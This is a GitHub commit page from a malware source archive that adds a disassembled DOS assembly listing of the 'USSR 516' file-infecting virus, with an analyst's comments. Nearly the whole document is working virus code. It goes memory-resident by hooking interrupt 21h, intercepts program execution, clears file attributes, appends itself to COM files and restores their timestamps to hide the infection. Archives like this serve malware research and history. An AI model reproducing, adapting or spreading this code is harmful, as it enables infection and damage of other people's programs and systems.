mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
@@ -0,0 +1,280 @@
|
||||
|
||||
ussr516 segment byte public
|
||||
assume cs:ussr516, ds:ussr516
|
||||
org 100h
|
||||
;Disassembled by Dark Angel of PHALCON/SKISM
|
||||
;for 40Hex Number 7 Volume 2 Issue 3
|
||||
stub: db 0e9h, 0, 0
|
||||
db 0e9h, 1, 0, 0
|
||||
;This is where the virus really begins
|
||||
start:
|
||||
push ax
|
||||
call beginvir
|
||||
|
||||
orig4 db 0cdh, 20h, 0, 0
|
||||
int30store db 0, 0, 0, 0 ;Actually it's int 21h
|
||||
;entry point
|
||||
int21store db 0, 0, 0, 0
|
||||
|
||||
beginvir: pop bp ;BP -> orig4
|
||||
mov si,bp
|
||||
mov di,103h
|
||||
add di,[di-2] ;DI -> orig4
|
||||
movsw ;restore original
|
||||
movsw ;4 bytes of program
|
||||
xor si,si
|
||||
mov ds,si
|
||||
les di,dword ptr ds:[21h*4]
|
||||
mov [bp+8],di ;int21store
|
||||
mov [bp+0Ah],es
|
||||
lds di,dword ptr ds:[30h*4+1] ;Bug????
|
||||
findmarker:
|
||||
inc di
|
||||
cmp word ptr [di-2],0E18Ah ;Find marker bytes
|
||||
jne findmarker ;to the entry point
|
||||
mov [bp+4],di ;and move to
|
||||
mov [bp+6],ds ;int30store
|
||||
mov ax,5252h ;Get list of lists
|
||||
int 21h ;and also ID check
|
||||
|
||||
add bx,12h ;Already installed?
|
||||
jz quitvir ;then exit
|
||||
push bx
|
||||
mov ah,30h ;Get DOS version
|
||||
int 21h
|
||||
|
||||
pop bx ;bx = 12, ptr to 1st
|
||||
;disk buffer
|
||||
cmp al,3
|
||||
je handlebuffer ;if DOS 3
|
||||
ja handleDBHCH ;if > DOS 3
|
||||
inc bx ;DOS 2.X, offset is 13
|
||||
handlebuffer:
|
||||
push ds
|
||||
push bx
|
||||
lds bx,dword ptr [bx] ;Get seg:off of buffer
|
||||
inc si
|
||||
pop di
|
||||
pop es ;ES:DI->seg:off buff
|
||||
mov ax,[bx] ;ptr to next buffer
|
||||
cmp ax,0FFFFh ;least recently used?
|
||||
jne handlebuffer ;if not, go find it
|
||||
cmp si,3
|
||||
jbe quitvir
|
||||
stosw
|
||||
stosw
|
||||
jmp short movetobuffer
|
||||
handleDBHCH: ;Disk Buffer Hash Chain Head array
|
||||
lds si,dword ptr [bx] ;ptr to disk buffer
|
||||
lodsw ;info
|
||||
lodsw ;seg of disk buffer
|
||||
;hash chain head array
|
||||
inc ax ;second entry
|
||||
mov ds,ax
|
||||
xor bx,bx
|
||||
mov si,bx
|
||||
lodsw ;EMS page, -1 if not
|
||||
;in EMS
|
||||
xchg ax,di ;save in di
|
||||
lodsw ;ptr to least recently
|
||||
;used buffer
|
||||
mov [di+2],ax ;change disk buffer
|
||||
;backward offset to
|
||||
;least recently used
|
||||
xchg ax,di ;restore EMS page
|
||||
mov [di],ax ;set to least recently
|
||||
movetobuffer: ;used
|
||||
mov di,bx
|
||||
push ds
|
||||
pop es ;ES:DI -> disk buffer
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,108h
|
||||
lea si,[bp-4] ;Copy from start
|
||||
rep movsw
|
||||
mov ds,cx ;DS -> interrupt table
|
||||
mov word ptr ds:[4*21h],0BCh ;New interrupt handler
|
||||
mov word ptr ds:[4*21h+2],es ;at int21
|
||||
quitvir:
|
||||
push cs ;CS = DS = ES
|
||||
pop es
|
||||
push es
|
||||
pop ds
|
||||
pop ax
|
||||
mov bx,ax
|
||||
mov si, 100h ;set up stack for
|
||||
push si ;the return to the
|
||||
retn ;original program
|
||||
int24:
|
||||
mov al,3 ;Ignore all errors
|
||||
iret
|
||||
tickstore db 3 ;Why???
|
||||
buffer db 3, 0, 9, 0
|
||||
|
||||
int21:
|
||||
pushf
|
||||
cli ;CP/M style call entry
|
||||
call dword ptr cs:[int30store-start]
|
||||
retn ;point of int 21h
|
||||
|
||||
int21DSDX: ;For int 21h calls
|
||||
push ds ;with
|
||||
lds dx,dword ptr [bp+2] ;DS:DX -> filename
|
||||
call int21
|
||||
pop ds
|
||||
retn
|
||||
|
||||
cmp ax,4B00h ;Execute
|
||||
je Execute
|
||||
cmp ax,5252h ;ID check
|
||||
je CheckID
|
||||
cmp ah,30h ;DOS Version
|
||||
je DosVersion
|
||||
callorig21: ;Do other calls
|
||||
jmp dword ptr cs:[int21store-start]
|
||||
DosVersion: ;Why????? ;DOS Version
|
||||
dec byte ptr cs:[tickstore-start]
|
||||
jnz callorig21 ;Continue if not 0
|
||||
push es
|
||||
xor ax,ax
|
||||
push ax
|
||||
mov es,ax
|
||||
mov al,es:[46Ch] ; 40h:6Ch = Timer ticks
|
||||
; since midnight
|
||||
and al,7 ; MOD 15
|
||||
inc ax
|
||||
inc ax
|
||||
mov cs:[tickstore-start],al ;# 2-17
|
||||
pop ax
|
||||
pop es
|
||||
iret
|
||||
CheckID: ;ID Check
|
||||
mov bx,0FFEEh ;FFEEh = -12h
|
||||
iret
|
||||
Execute: ;Execute
|
||||
push ax ;Save registers
|
||||
push cx
|
||||
push es
|
||||
push bx
|
||||
push ds ;DS:DX -> filename
|
||||
push dx ;save it on stack
|
||||
push bp
|
||||
mov bp,sp ;Set up stack frame
|
||||
sub sp,0Ah ;Temporary variables
|
||||
;[bp-A] = attributes
|
||||
;[bp-8] = int 24 off
|
||||
;[bp-6] = int 24 seg
|
||||
;[bp-4] = file time
|
||||
;[bp-2] = file date
|
||||
sti
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,3301h ;Turn off ^C check
|
||||
xor dl,dl ;(never turn it back
|
||||
call int21 ; on. Bug???)
|
||||
mov ax,3524h ;Get int 24h
|
||||
call int21 ;(Critical error)
|
||||
mov [bp-8],bx
|
||||
mov [bp-6],es
|
||||
mov dx,int24-start
|
||||
mov ax,2524h ;Set to new one
|
||||
call int21
|
||||
mov ax,4300h ;Get attributes
|
||||
call int21DSDX
|
||||
jnc continue
|
||||
doneinfect:
|
||||
mov ax,2524h ;Restore crit error
|
||||
lds dx,dword ptr [bp-8] ;handler
|
||||
call int21
|
||||
cli
|
||||
mov sp,bp
|
||||
pop bp
|
||||
pop dx
|
||||
pop ds
|
||||
pop bx
|
||||
pop es
|
||||
pop cx
|
||||
pop ax
|
||||
jmp short callorig21 ;Call orig handler
|
||||
continue:
|
||||
mov [bp-0Ah],cx ;Save attributes
|
||||
test cl,1 ;Check if r/o????
|
||||
jz noclearattr
|
||||
xor cx,cx
|
||||
mov ax,4301h ;Clear attributes
|
||||
call int21DSDX ;Filename in DS:DX
|
||||
jc doneinfect ;Quit on error
|
||||
noclearattr:
|
||||
mov ax,3D02h ;Open read/write
|
||||
call int21DSDX ;Filename in DS:DX
|
||||
jc doneinfect ;Exit if error
|
||||
mov bx,ax
|
||||
mov ax,5700h ;Save time/date
|
||||
call int21
|
||||
mov [bp-4],cx
|
||||
mov [bp-2],dx
|
||||
mov dx,buffer-start
|
||||
mov cx,4
|
||||
mov ah,3Fh ;Read 4 bytes to
|
||||
call int21 ;buffer
|
||||
jc quitinf
|
||||
cmp byte ptr ds:[buffer-start],0E9h;Must start with 0E9h
|
||||
jne quitinf ;Otherwise, quit
|
||||
mov dx,word ptr ds:[buffer+1-start];dx = jmploc
|
||||
dec dx
|
||||
xor cx,cx
|
||||
mov ax,4201h ;go there
|
||||
call int21
|
||||
mov ds:[buffer-start],ax ;new location offset
|
||||
mov dx,orig4-start
|
||||
mov cx,4
|
||||
mov ah,3Fh ;Read 4 bytes there
|
||||
call int21
|
||||
mov dx,ds:[orig4-start]
|
||||
cmp dl,0E9h ;0E9h means we might
|
||||
jne infect ;already be there
|
||||
mov ax,ds:[orig4+2-start] ;continue checking
|
||||
add al,dh ;to see if we really
|
||||
sub al,ah ;are there.
|
||||
jz quitinf
|
||||
infect:
|
||||
xor cx,cx
|
||||
mov dx,cx
|
||||
mov ax,4202h ;Go to EOF
|
||||
call int21
|
||||
mov ds:[buffer+2-start],ax ;save filesize
|
||||
mov cx,204h
|
||||
mov ah,40h ;Write virus
|
||||
call int21
|
||||
jc quitinf ;Exit if error
|
||||
sub cx,ax
|
||||
jnz quitinf
|
||||
mov dx,ds:[buffer-start]
|
||||
mov ax,ds:[buffer+2-start]
|
||||
sub ax,dx
|
||||
sub ax,3 ;AX->jmp offset
|
||||
mov word ptr ds:[buffer+1-start],ax;Set up buffer
|
||||
mov byte ptr ds:[buffer-start],0E9h;code the jmp
|
||||
add al,ah
|
||||
mov byte ptr ds:[buffer+3-start],al
|
||||
mov ax,4200h ;Rewind to jmploc
|
||||
call int21
|
||||
mov dx, buffer-start
|
||||
mov cx,4 ;Write in the jmp
|
||||
mov ah,40h
|
||||
call int21
|
||||
quitinf:
|
||||
mov cx,[bp-4]
|
||||
mov dx,[bp-2]
|
||||
mov ax,5701h ;Restore date/time
|
||||
call int21
|
||||
mov ah,3Eh ;Close file
|
||||
call int21
|
||||
mov cx,[bp-0Ah] ;Restore attributes
|
||||
mov ax,4301h
|
||||
call int21DSDX
|
||||
jmp doneinfect ;Return
|
||||
ussr516 ends
|
||||
end stub
|
||||
|
||||
|
||||
Reference in New Issue
Block a user